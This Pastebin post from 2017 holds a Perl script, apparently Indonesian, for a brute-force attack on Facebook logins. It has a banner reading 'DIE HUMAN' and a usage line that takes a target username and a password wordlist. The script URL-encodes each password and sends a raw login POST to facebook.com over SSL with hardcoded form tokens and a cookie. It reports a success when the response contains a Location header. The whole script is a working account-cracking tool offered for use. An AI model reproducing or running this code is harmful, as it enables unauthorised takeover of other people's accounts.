Advertisement
SSL4IT

bacod :v

Apr 14th, 2017
592
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.22 KB | None | 0 0
  1. #!/usr/bin/perl
  2. #No Label
  3. #Unknown :v
  4. #Kimcil Hokya Hokya
  5. #ape lu coeg :v
  6.  
  7. use strict;
  8. use Net::SSLeay::Handle;
  9.  
  10. if(!defined($ARGV[0] && $ARGV[1])) {
  11.  
  12. system('clear');
  13. print "\n";
  14. print "
  15. \t\t\t\t\t\t\t\t\t\t \033[92m+-------------------------------+
  16. . . \t\t | \033[94mAuthor : \033[91mUNKNOWN\033[0m\033[0m \t\t \033[92m|\033[0m
  17. \033[92m .n . . n.\033[0m \t\t \033[92m|\033[0m \033[94mEditing : \033[91mAngga Saputra\033[0m\033[0m\033[0m \t \033[92m|\033[0m
  18. \033[92m . .dP dP 9b 9b. .\033[0m\033[0m \t \033[92m|\033[0m \033[94mContact : \033[91m\033[4mfb.com/otakuhacking\033[0m\033[0m\033[0m \033[92m|\033[0m
  19. \033[92m 4 qXb . dX Xb . dXp t\033[0m \t \033[92m|\033[0m \033[94mVersion : \033[91m2.0\033[0m\033[0m\t\t \033[92m|\033[0m
  20. \033[92m dX. 9Xb .dXb __ __ dXb. dXP .Xb\033[0m \033[92m+-------------------------------+\033[0m
  21. \033[92m 9XXb._ _.dXXXXb dXXXXbo. .odXXXXb dXXXXb._ _.dXXP\033[0m \t \033[1m\033[93mKimochi\033[91mSS4IT\033[0m\033[1m\033[93mTeam\033[0m\033[0m
  22. \033[92m9XXXXXXXXXXXXXXXXXXXVXXXXXXXXOo. .oOXXXXXXXXVXXXXXXXXXXXXXXXXXXXP
  23. `9XXXXXXXXXXXXXXXXXXXXX'~ ~`OOO8b d8OOO'~ ~`XXXXXXXXXXXXXXXXXXXXXP'
  24. `9XXXXXXXXXXXP' `9XX'\033[0m \033[1m\033[91mDIE\033[0m\033[0m \033[92m`98v8P'\033[0m \033[1m\033[91mHUMAN\033[0m\033[0m \033[92m`XXP' `9XXXXXXXXXXXP' \033[0m
  25. \033[92m~~~~~~~ 9X. .db|db. .XP ~~~~~~~\033[0m
  26. \033[92m)b. .dbo.dP'`v'`9b.odb. .dX(
  27. ,dXXXXXXXXXXXb dXXXXXXXXXXXb.
  28. dXXXXXXXXXXXP' . `9XXXXXXXXXXXb
  29. dXXXXXXXXXXXXb d|b dXXXXXXXXXXXXb
  30. 9XXb' `XXXXXb.dX|Xb.dXXXXX' `dXXP
  31. `' 9XXXXXX( )XXXXXXP `'
  32. XXXX X.`v'.X XXXX
  33. XP^X'`b d'`X^XX
  34. X. 9 ` ' P )X
  35. `b ` ' d'
  36.  
  37. ` '\033[0m
  38. ";
  39.  
  40. print "
  41. \t\033[96m============================================================\033[0m
  42. \t\033[96m||\033[0m \033[95mCara Menggunakan\033[0m : \033[1;37mperl efbeh.pl \033[94m[\033[0m\033[91musername\033[0m\033[94m]\033[0m \033[94m[\033[0m\033[91mwordlist\033[0m\033[94m]\033[0m \033[0m\033[96m||\033[0m
  43. \t\033[96m============================================================ \033[0m
  44. \n";
  45.  
  46. exit; }
  47. my $user = $ARGV[0];
  48. my $wordlist = $ARGV[1];
  49.  
  50. open (LIST, $wordlist) || die "\n[-] Can't find/open $wordlist\n";
  51.  
  52. print "\033[1;39m\n \033[94mCracking on user\033[0m : \033[95m$user \033[0m\n\n";
  53. print "\t===================================================================\n";
  54. print "\t\t\t\t\033[1m\033[93mBRUTEFORCE\033[0m\033[0m \033[1m\033[91mATTACKING\033[0m\033[0m \n";
  55. print "\n";
  56. print "\n";
  57. print "\t \033[94mStatus \t\t\t\t\t Password Crack\033[0m\n";
  58. print "\t ------ \t\t\t\t\t --------------\n";
  59. while (my $password = <LIST>) {
  60. chomp ($password);
  61. $password =~ s/([^^A-Za-z0-9\-_.!~*'()])/ sprintf "%%%0x", ord $1 /eg;
  62.  
  63. my $a = "POST /login.php HTTP/1.1";
  64. my $b = "Host: www.facebook.com";
  65. my $c = "Connection: close";
  66. my $e = "Cache-Control: max-age=0";
  67. my $f = "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";
  68. my $g = "Origin: https://www.facebook.com";
  69. my $h = "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.63 Safari/537.31";
  70. my $i = "Content-Type: application/x-www-form-urlencoded";
  71. my $j = "Accept-Encoding: gzip,deflate,sdch";
  72. my $k = "Accept-Language: en-US,en;q=0.8";
  73. my $l = "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3";
  74.  
  75. my $cookie = "cookie: datr=80ZzUfKqDOjwL8pauwqMjHTa";
  76. my $post = "lsd=AVpD2t1f&display=&enable_profile_selector=&legacy_return=1&next=&profile_selector_ids=&trynum=1&timezone=300&lgnrnd=031110_Euoh&lgnjs=1366193470&email=$user&pass=$password&default_persistent=0&login=Log+In";
  77. my $cl = length($post);
  78. my $d = "Content-Length: $cl";
  79.  
  80.  
  81. my ($host, $port) = ("www.facebook.com", 443);
  82.  
  83. tie(*SSL, "Net::SSLeay::Handle", $host, $port);
  84.  
  85.  
  86. print SSL "$a\n";
  87. print SSL "$b\n";
  88. print SSL "$c\n";
  89. print SSL "$d\n";
  90. print SSL "$e\n";
  91. print SSL "$f\n";
  92. print SSL "$g\n";
  93. print SSL "$h\n";
  94. print SSL "$i\n";
  95. print SSL "$j\n";
  96. print SSL "$k\n";
  97. print SSL "$l\n";
  98. print SSL "$cookie\n\n";
  99.  
  100. print SSL "$post\n";
  101.  
  102. my $success;
  103. while(my $result = <SSL>){
  104. if($result =~ /Location(.*?)/){
  105. $success = $1;
  106. }
  107. }
  108. if (!defined $success)
  109. {
  110. print "\033[1;31m\t[-] Failed \t\t\t\t\t $password \033[0m\n";
  111. close SSL;
  112. }
  113. else
  114. {
  115. print "\t\033[1;32m[+] Success \t\t\t\t\t $password \033[0m\n";
  116. print "\t===================================================================\n";
  117. close SSL;
  118. exit;
  119. }
  120. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement